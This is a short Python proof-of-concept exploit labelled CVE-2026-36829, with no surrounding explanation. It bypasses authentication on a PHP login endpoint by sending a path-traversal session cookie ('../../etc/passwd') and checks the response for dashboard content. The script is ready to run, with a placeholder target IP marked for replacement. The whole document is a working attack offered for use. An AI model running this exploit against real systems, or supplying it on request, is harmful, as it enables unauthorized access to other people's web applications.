CVE-2026-36829

import requests def exploit(target_url): # Vulnerable endpoint example login_url = f"{target_url}/index.php" # The vulnerability relies on the server checking if the cookie value # exists as a file in the filesystem without sanitization. # Using "../" to traverse to a file that definitely exists (e.g. /etc/passwd) # tricks the server into treating the request as authenticated. headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Cookie": "session_id=../../etc/passwd" } try: response = requests.get(login_url, headers=headers, timeout=10) # Check if authentication was bypassed (e.g. returns 200 OK and dashboard content) if response.status_code == 200 and "dashboard" in response.text.lower(): print(f"[+] Authentication bypass successful for {target_url}") print(f"[+] Response content length: {len(response.text)}") else: print(f"[-] Exploit failed or target not vulnerable. Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": target = "http://192.168.1.100" # Replace with actual target IP exploit(target)

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